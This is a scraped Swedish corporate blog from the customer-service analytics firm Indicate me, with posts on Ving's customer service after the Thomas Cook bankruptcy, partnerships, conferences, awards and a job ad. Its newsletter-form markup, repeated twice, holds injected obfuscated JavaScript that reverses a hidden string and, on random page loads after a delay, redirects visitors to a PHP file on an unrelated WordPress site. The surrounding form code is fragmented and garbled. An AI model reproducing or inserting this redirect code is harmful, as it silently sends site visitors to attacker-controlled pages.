Hur har konkursen av Thomas Cook Group (Vings moderbolag) påverkat Vings kundservice?

Vings ägare gick i konkurs den 23 september, men har landat tryggt. Många är säkert nyfikna på hur konkursen och förvärvet från Petter Stordalen, Altor och TDR Capital har påverkat kundservicen. Vi har träffat Terje Dahl, kundservice- & försäljningschef på Ving för att ställa några frågor om hur de första dygnen var.

1. Hur påverkade konkursen kundservicen?
Konkursen bidrog till ett oerhört tryck på kundservicen, första dagen fick vi in fler interaktioner än vi brukar få på en hel vecka. Första veckan fick vi in tre gånger så många konversationer som samma vecka året innan. Trycket bidrog förstås till långa köer, men våra kunder var helt fantastiska och visade stor empati till våra medarbetare. Många kunder bad om ursäkt för att de ringde och frågade om sin resa, när den som svarade inte ens visste om den skulle få behålla jobbet.

Det har varit helt otroligt att se det stöd som vi fått från våra kunder.

2. Hur har ni hanterat den ökade belastningen?
För att möta den ökade belastningen gjorde vi allt vi kunde för att bemanna och skruva upp vår kundservice. Vi tog in all extra personal som vi hade och utökade våra öppettider. Många ställde upp och jobbade över, sedan hjälpte medarbetare från andra avdelningar med kundserviceerfarenhet till. Advania gav oss extra licenser, trots att de inte visste om de skulle få betalt, vilket vi är oerhört tacksamma för.

De ärenden som kom in var enkla att hantera och vi tog snabbt fram standardsvar till våra olika kanaler. Medarbetare som inte hade erfarenhet av kundservice hjälpte till att svara på mail och medarbetare från IT åkte till flygplatsen för att möta upp kunder.

En medarbetare i kundservicen uttryckte ”Det här är den bästa dagen någonsin”.

Vi har en helt fantastisk företagskultur och det är häftigt att se den gemenskap som finns när det verkligen gäller.

 3. Hur har effektivitet/kundnöjdhet/försäljning påverkats?
Måndagen den 23 september, första dagen efter konkursen, var effektiviteten helt enorm. Vi har aldrig haft en sådan effektivitet, folk jobbade som Jehu’er”. Ärendena handlade ju om samma sak och på det sättet var de enkla och snabba att svara på.

I vanliga fall brukar vi mäta kundnöjdhet genom Indicate me, men då det här var en så speciell situation där kunder suttit länge i kö, ville vi inte att de skulle behöva bli uppringda med en enkät från oss efteråt. Därför stoppades våra mätningar. Det som är väldigt kul att se är dock att vi har fått extremt mycket positiv feedback i våra sociala kanaler. Vi blev till och med kontaktad av en norsk journalist som undrade varför vi tagit bort all negativ feedback på Facebook – vilket vi såklart inte hade gjort.

Första dagen efter konkursen fick inga resor säljas, men dagen efter när flygen lyfte gick det att boka resor på webben. Förvånande nog var försäljningen riktigt bra, faktiskt.

4. Vad kommer hända framgent? Hur är stämningen i kundservice?
Just nu är det business as usual som gäller. Det har inte skett några stora förändringar, utan vi arbetar på som vanligt. Nu får vi bara några frågor om vad som skett. Fokus ligger också på att stabilisera och få allt att fungera som det ska. Vi har exempelvis inte identiska flygplan som innan och måste informera om det.

5. Vad gjorde ni rätt i denna väldigt speciella och unika situation?
Vi arbetade proaktivt med att ta hand om kunder som inte skulle kunna komma hem som planerat. Hotellen hjälpte oss genom att låta kunderna bo kvar på samma hotell. En stor fördel har varit att vi haft fantastisk personal världen över. Så fort kunderna kom hem så fick de ersättning, vilket vi fått beröm för och som du bl.a. kan läsa om här: https://finalcall.travel/da/naar-kundeservice-viser-sit-vaerd-i-en-krise/

6. När kom vändningen?
Första målet var att få flygen i luften, när planen lyfte redan dag två kändes det helt fantastiskt och personalen trodde verkligen att vi skulle klara det här. Sedan var nästa stora vändning den snabba försäljningen där vi blev uppköpta genom de nya ägarna Petter Stordalen, Altor och TDR Capital. Många kunder kontaktade oss för att gratulera, vilket kändes fint.

Under hela förloppet har vi fått väldigt mycket positiv respons från våra kunder.

Om Ving
Ving är Sveriges ledande researrangör med resor till knappt 400 resmål i över 60 länder. Ving arrangerar charterresor samt säljer kryssningar och flexibla paketresor med reguljärflyg. Vi erbjuder även enskilda flygbiljetter och hotellövernattningar till den som vill resa på egen hand. Resorna säljs via internet, telefon och i utvalda resebyråer över hela landet. Ving ingår tillsammans med Globetrotter i Ving AB och har cirka 700 000 resenärer årligen.

Om Indicate me
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

Indicate me stärker sin position med ny samarbetspartner

,

På bara två år har Indicate me byggt upp en stark kundbas med välkända varumärken så som PayEx, Ving och Nelly – för att bara nämna några. Nu stärker Indicate me sin position ytterligare genom att inleda ett nytt samarbete med Genesys.

I syftet att nå fler potentiella kunder på andra marknader än den svenska har Indicate me den senaste tiden analyserat möjliga samarbetspartners.
– Indicate me är ett ungt bolag med ett starkt moderbolag och koncern i ryggen. Vår kundbas har växt snabbt, men vi vill nå ut till fler på marknaden och även vidga oss internationellt, berättar Lina Bjelkmar, VD Indicate me.

Vidare berättar Lina.
– Vi tror att ett effektivt sätt för att fortsätta att växa är att samarbeta med stora och etablerade partners. Här är Genesys ett självklart val. Genesys är världsledande inom kommunikationslösningar för bättre kundupplevelser och har över 11,000 kunder i 100+ länder. Vi anser helt enkelt att Genesys är en av de starkaste leverantörerna på marknaden.

Komplement till PureCloud, PureEngage och PureConnect
Samarbetet med Genesys kommer att innebära att de kan erbjuda sina kunder uppföljningssystemet från Indicate me som ett komplement till deras egna contact center plattformar PureCloud, PureEngage och PureConnect.
– Genesys tror på partnerskap och att vi blir bättre tillsammans. Det låter ju självklart, men min erfarenhet är att det är alldeles för många bolag som är rädda för konkurrens och transparens, vilket gör att de missar möjligheten att utvecklas genom samarbete. Genesys vill ha oss som partner för de vet att om de erbjuder en helhetslösning till sina kunder så bidrar det till högre kundnöjdhet och ökad lojalitet, berättar Lina.

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. 

Om Genesys
Genesys® bidrar till 25 miljarder kundupplevelser i världsklass varje år. Vi sammanför varje dag anställda och kunder för samtal via olika kanaler. Över 11 000 företag i över 100 länder använder vår världsledande kundupplevelseplattform för att nå framgångsrika affärsresultat och varaktiga relationer. Vi kombinerar det främsta inom teknik och uppfinningsrikedom för att hitta lösningar som påminner om naturlig kommunikation och som är enkla att förstå. Våra branschledande lösningar passar och främjar kommunikation inom alla kanaler – både som kundplacerad lösning och i molnet. Upplev kommunikation som den ska vara: följsam, instinktiv och djupt stärkande.
www.genesys.com/se
https://appfoundry.genesys.com/

Hur kommer framtidens kommunikation se ut?

Nya appar, digitala innovationer och tekniker tillkommer varje dag. Kommunikationen idag är inte vad den var för bara för ett par år sedan och den kommer att fortsätta förändras. Vi kan alla bli bättre på att kommunicera – både internt och externt mot kunder.

Torsdagen den 21 november äger Connect 19 – Konferensen om framtidens kommunikation rum i Stockholm. Under eventet kommer Lina Bjelkmar, VD Indicate me att delta som huvudföreläsare.
– Framtidens kommunikation är ett väldigt aktuellt och hett ämne som jag ser fram emot att tala om. Det gäller att vara på tårna för att hänga med in i framtiden, alla nya kommunikationsmedel ställer högre krav. Många pratar om att man vill uppnå en friktionslös kundupplevelse, men vet inte alltid hur de ska komma dit, speciellt när mängden kanaler in till företaget växer, berättar Lina Bjelkmar, VD på Indicate me.

Mer nöjda kunder i framtidens kundmöte
Fokuset på Linas föreläsning kommer att vara hur man kan uppnå mer nöjda kunder i framtidens kundmöte och hur man enkelt kan skapa transparens inom företaget.
– Det är viktigt att målsättningar är tydliga och att alla har tillgång till samma statistik, så att alla kommunicerar med varandra baserat på rätt förutsättningar, avslutar Lina.

Vill du höra med om framtidens kundmöte, se till att anmäla dig till eventet!

Mer info och anmälan
Datum: 21 november
Pris: Ordinarie pris: 7.990:- exl. Moms. anger du koden INDICATEME får du 30% rabatt vid bokning senast 8/11
Anmälan: Klicka här för att se hela programmet och komma till anmälan >>

Om konferensen
Vi kan alla bli bättre på att kommunicera – både intern och extern mot kunder och samarbetspartners. På Connect19 får du både teoretiska och praktiska kunskaper för att förbättra din digitala arbetsplats inom samarbete, contact center och telefoni. Under dagen får du ta del av lyckade case från verksamheter som lyckats, träffa experter och möta nya personer att utvidga ditt nätverk med. Välkommen till mötesplatsen för dig som arbetar med digitalisering!

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap.

Hur når vi framtidens kundservice?

Den tekniska utvecklingen går snabbt och folk slänger sig med ord som RPA, AI och Chatbots till höger och vänster när de talar om framtidens kundservice, men hur når vi framtidens kundservice egentligen?
Den 6-7 november äger eventet Framtidens Kundservice rum i Stockholm. Under dessa två dagar kommer talare och debattörer att dela med sig av sina erfarenheter och perspektiv inom temat.

Lina Bjelkmar, VD Indicate me, kommer under dag 1 att delta som expert i paneldebatten.

– Det känns väldigt roligt att jag har fått äran att delta som expert i paneldebatten. Jag brinner för att diskutera kundservice och ser fram emot att göra det i detta forum. Det finns många fascinerade innovativa tekniska lösningar att diskutera, vilket jag älskar, men ibland kan jag uppleva att företag blir för teknikfokuserade och glömmer bort de grundproblem som finns. Min förhoppning med debatten är att jag ska bidra med ett annat perspektiv på vägen mot framtidens kundservice och väcka några frågeställningar hos deltagarna, säger Lina.

Debatt om framtidens kundservice
I paneldebatten kommer följande personer att delta:

  • Lina Bjelkmar, VD, Indicate me
  • Dan Milestad, Affärsområdesansvarig AI-Partner, Softronic
  • Anna Loverus, Grundare, Artificial Humanity
  • Elin Trapp, Kundservicechef, Lyko

Under dagen kommer fler kollegor från Indicate me finnas på plats med monter – kom gärna förbi oss om du är nyfiken på vad vi gör!

Mer info och anmälan:
Datum: 6-7 november
Pris: Ordinarie pris: 10.490 :-, anger du koden Indicate20 får du 20% rabatt
Anmälan: Klicka här för att se hela programmet och komma till anmälan >>

 

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. 

Big mistake. Thank you! Part 2

Ett kostnadsfritt event om misstag på vägen mot succé i kundservice
Föregående år anordnade Indicate me tillsammans med Releasy ett fullsatt och uppskattat event inom temat ”Big mistake. Thank you!”. Nu kommer uppföljaren som riktar sig mot både nya och gamla deltagare.
– Nytt för i år är att vi kommer att fokusera ännu mer på digitaliseringen inom kundservice och då också djupdyka inom chatbots. På plats kommer modiga och erfarna debattörer från bland annat Fortum, Swedavia och Nordea att dela med sig av sina erfarenheter inom ämnet, berättar Lina Bjelkmar, VD Indicate me.

Under debatten kommer deltagarna få svar på frågor såsom:

  • Vilka minor har debattörerna gått på under implementeringen av chatbots?
  • Vad skulle de ha gjort annorlunda om de påbörjade samma projekt idag?
  • Vad är det egentligen som krävs av organisationen, tekniken och processerna för att få det att lyckas?

Eventet kommer också att bjuda på spännande föreläsningar från välkända varumärken. Halebop kommer att berätta mer om hur de har vunnit pris om Sveriges nöjdaste kunder för tionde gången och SBAB kommer att berätta mer om deras onboarding process. Detta och mycket mer vill du bara inte missa!

Praktiskinformation
Datum: 28 november
Starttid: 14:00 
Plats: Pipers väg 28, 170 73 Solna
Info & anmälan: Klicka här för mer info & anmälan >> 

Halebop: Sveriges nöjdaste kunder

Årligen genomför Svenskt Kvalitetsindex (SKI) en undersökning om kundnöjdheten bland svenska mobiloperatörer. För tionde gången vinner Halebop titeln om Sveriges nöjdaste kunder.

Det vi tycker är intressant, jämfört mot tidigare år, är att hela branschen har fått högre betyg än någonsin tidigare.

Hur kommer det sig att kunderna är mer nöjda?
I rapporten från SKI tyder kundernas svar på att branschen har satt ett större kundfokus där man värdesätter kunden i varje kontakt. Detta är verkligen helt rätt steg att gå, men hur gör man för att få ett kundfokuserat arbetssätt?

Här kommer några tips:

  • Hitta och följ upp rätt nyckeltal
  • Optimera de processer där det ger mest effekt
  • Genomför tväranalys, exempelvis vilka ärenden tycker era kunderna är krångliga?
  • Genomför proaktivanalys – Kan ni minska ärenden in till kundservice? Rapporter tyder på att hela 57,7% försöker lösa problemet själva på hemsidan innan de kontaktar kundservice (Källa: Gartner)
  • Skapa transparens genom hela organisationen

Genom outsourcingpartnern Releasy analyserar Halebop sin kundservice i Indicate me, därför tycker vi att det är extra kul att Halebop vinner titeln om Sveriges nöjdaste kunder – för tionde gången! Indicate me vill rikta ett stort grattis Halebop!

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

Halebop vinner titeln om Sveriges nöjdaste kunder – För tionde gången

Årligen genomför Svenskt Kvalitetsindex (SKI) en undersökning om kundnöjdheten bland svenska mobiloperatörer. För tionde gången vinner Halebop titeln om Sveriges nöjdaste kunder.

Det vi tycker är intressant, jämfört mot tidigare år, är att hela branschen har fått högre betyg än någonsin tidigare.

Hur kommer det sig att kunderna är mer nöjda jämfört mot tidigare?
I rapporten från Svenskt Kvalitetsindex (SKI) tyder kundernas svar på att branschen har satt ett större kundfokus där man värdesätter kunden i varje kontakt.

Hur gör man för att få ett kundfokuserat arbetssätt?
Här kommer några tips:

  • Hitta och följ upp rätt nyckeltal
  • Optimera de processer där det ger mest effekt
  • Genomför tväranalyser, exempelvis vilka ärenden som kunderna tycker är krångliga
  • Genomför proaktivanalys – Kan ni minska ärenden in till kundservice? Rapporter tyder på att hela 57,7% försöker lösa problemet själva på din hemsida innan de kontaktar kundservice (Källa: Gartner)
  • Skapa transparens genom hela organisationen

Genom outsourcingpartnern Releasy analyserar Halebop sin kundservice i Indicate me, därför tycker vi att det är extra kul att Halebop vinner titeln om Sveriges nöjdaste kunder – för tioende gången! Vi vill därför rikta ett stort grattis till Halebop!

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. 

Vill du bli vår nya Customer Success Manager?

,

Vill du ingå i ett team som är kick ass duktiga på att hjälpa stora företag att få en bättre kundservice? Gillar du att bygga B2B-relationer och tycker det är spännande att grotta i statistik (iaf när det presenteras på ett snyggt sätt i vår webtjänst)? Vill du vara med och ständigt utveckla nya bra funktioner? Eller känner du någon som det passar in på så tagga gärna!

Vi söker en Customer Success Manager som är minst lika engagerad och driven som oss. Som Customer Success Manager kommer du att säkerställa bästa kundupplevelse, främst genom att optimera användningen av vårt analys- och coachingssystem. Du kommer bland annat att jobba med projektledning, utbildningar och produktutveckling som drivs med stora företag och deras kundservice-avdelningar.

På Indicate me får du det bästa av två världar – den snabbväxande startup-kulturen med en stabil och kapitalstark ägare. Du blir del av ett tight och kompetent team som precis har påbörjat en kraftig tillväxtresa. Tjänsten är en spännande nyckelroll där du har stora möjligheter att påverka både din egen och företagets fortsatta utveckling.

Dina arbetsuppgifter kommer fokuseras på:

  • Äga den övergripande relationen med dina kunder, från dagliga avstämningar till utvecklingsprojekt
  • Agera rådgivare i både interna och externa projekt för att optimera användningen av Indicate me’s system och säkerställa bästa kundupplevelse
  • Tillsammans med VD och Customer Success-teamet utveckla Indicate me’s produkt
  • Utföra behovsanalys tillsammans med potentiella kunder för att påvisa värdet i produkten samt skapa rätt förutsättningar för nya affärsmöjligheter

Kvalifikationer

  • Högskoleutbildning eller motsvarande
  • Några års arbetslivserfarenhet som operativ ledare, meriterande inom kundservice
  • Meriterande med erfarenhet från konsultrelaterade arbetsuppgifter eller andra SaaS-lösningar

Vi söker nu dig som:

  • Är självgående och initiativrik, får saker att hända och tar ansvar för resultatet – en DO:er som trivs i en miljö som präglas av ”Trial and Error”
  • Gillar ett högt tempo i en resultatdriven organisation
  • Är ambitiös och högpresterande med ett starkt personligt driv
  • Konsultmässighet gentemot kunder, med starkt gehör för behov
  • Besitter en strategisk höjd och är analytisk
  • Har en förmåga att skapa starka affärsrelationer

Du rapporterar direkt till VD och får sitta tillsammans med tjugotal kollegor från oss och moderbolaget Releasy på en nyrenoverad herrgård med sjöutsikt i Bergshamra.

Skicka frågor eller ansökan till

Halebop har Sveriges nöjdaste kunder – för nionde gången!

Årligen genomför Svenskt Kvalitetsindex (SKI) en undersökning om kundnöjdheten bland svenska mobiloperatörer. För nionde gången kammar Halebop hem första pris!

Igår publicerade SKI sin årliga rapport av mobilbranschen med fokus på kundnöjdhet. I studien framkommer det att kundnöjdheten bland privatkunder är högre än någonsin. Tidigare har kunder, både privata och företag, uppskattat mer hårda värden såsom täckning, surfmängd och pris, vilket nu har övergått till personlig service.

– Att kunder har gått från att prioritera teknik till att uppskatta service är något som Halebop har anammat och vi är glada över att vi har kunnat bidra inom just kundservicedelen, berättar Lina Bjelkmar, VD på Indicate me.

Genom outsourcingpartnern Releasy analyserar Halebop sin kundservice i Indicate me.

– Vi är såklart mycket glada över att vi har kunnat bidra med en ökad förståelse av kundupplevelsen i kundservice och att Halebop genom ett gediget arbete har vunnit titeln om Sveriges nöjdaste kunder – för nionde gången, säger Lina.

Avslutningsvis tillägger Lina:

– Vi på Indicate me vill rikta ett stort grattis till Halebop!

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

Nyhetsbrev
Prenumerera på vårt nyhetsbrev och ta del av den senaste informationen om Indicate me.

 
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tocomplete=”off” maxlength=”512″ name=”Contact.email” required=”required” type=”email” placeholder=”E-post *” /> $NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton class=”Button Button–bordered” type=”submit”>Prenumerera$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton>


torAll("input, textarea");for(var s=0;stop.location.href=t;else{var e=document.getElementById(”up-form”),n=document.getElementById(”up-form-thanks”);e.style.display=”none”,n.style.display=”block”,a&&a.push&&a.push([”trackLink”,”https://post.upsales.com/”+f.responseText,”link”]),_uaq&&_uaq(”form=”+f.responseText)}else console.log(”AJAX ERROR”,f.status)}}else{var l=document.getElementById(”recaptcha-error”),c=document.getElementsByClassName(”g-recaptcha”);l.style.display=”none”,c&&c.length&&console.log(”handle this later”)}}var form=document.getElementById(”up-form”);form.addEventListener(”submit”,onSubmit)

  Kontakta oss

Fullsatt under eventet: Big mistake. Thank you!

I slutet av föregående vecka anordnade Indicate me tillsammans med Releasy en paneldebatt med temat ”Big mistake. Thank you!”

På plats deltog fem erfarna debattörer från Ikea, C More, Boxer, Santander Consumer Bank och Trafikförvaltningen. Debattörerna delade öppet med sig av sina misstag på vägen på succé i kundservice, vilket var något som uppskattades bland gästerna som framförallt bestod av kundserviceansvariga.

– Platserna till eventet fylldes upp på en gång. Det är kul att se att intresset för kundservice är högt och att så pass många besökare hade rest långt för att komma, berättar Lina Bjelkmar, VD på Indicate me.

Ämnena väckte engagemang

Under kvällen diskuterades bland annat rekrytering, chatbotar, robotisering (RPA) och hur man får kundservice att bli en prioriterad fråga.

– Ämnena som togs upp engagerade många, framförallt uppskattades det att panelen konkret framförde vilka utmaningar som de har haft och hur de har löst dem. Under pauserna blev det mycket diskussioner mellan deltagarna och frågor till paneldeltagare. Vi fick även en bra interaktion till publiken då man hade möjlighet att skicka in sina frågor i realtid via mentimeter under debatterna, berättar Lina.

Några röster från kvällen

”Det var intressant att höra fem företag ha så olika lösningar på samma utmaningar

”Det var kul att debattörerna var så öppna och delade med sig av sina erfarenheter, trots att konkurrenter satt i publiken

” Härligt avslöjande att en av debattörerna tatuerat in företagets logotyp på armen

big-mistake-thank-you

Om oss
Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.


Nyhetsbrev
Prenumerera på vårt nyhetsbrev och ta del av den senaste informationen om Indicate me.

 
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tocomplete=”off” maxlength=”512″ name=”Contact.email” required=”required” type=”email” placeholder=”E-post *” /> $NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton class=”Button Button–bordered” type=”submit”>Prenumerera$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}ton>


torAll("input, textarea");for(var s=0;stop.location.href=t;else{var e=document.getElementById(”up-form”),n=document.getElementById(”up-form-thanks”);e.style.display=”none”,n.style.display=”block”,a&&a.push&&a.push([”trackLink”,”https://post.upsales.com/”+f.responseText,”link”]),_uaq&&_uaq(”form=”+f.responseText)}else console.log(”AJAX ERROR”,f.status)}}else{var l=document.getElementById(”recaptcha-error”),c=document.getElementsByClassName(”g-recaptcha”);l.style.display=”none”,c&&c.length&&console.log(”handle this later”)}}var form=document.getElementById(”up-form”);form.addEventListener(”submit”,onSubmit)

  Kontakta oss
Kontakta oss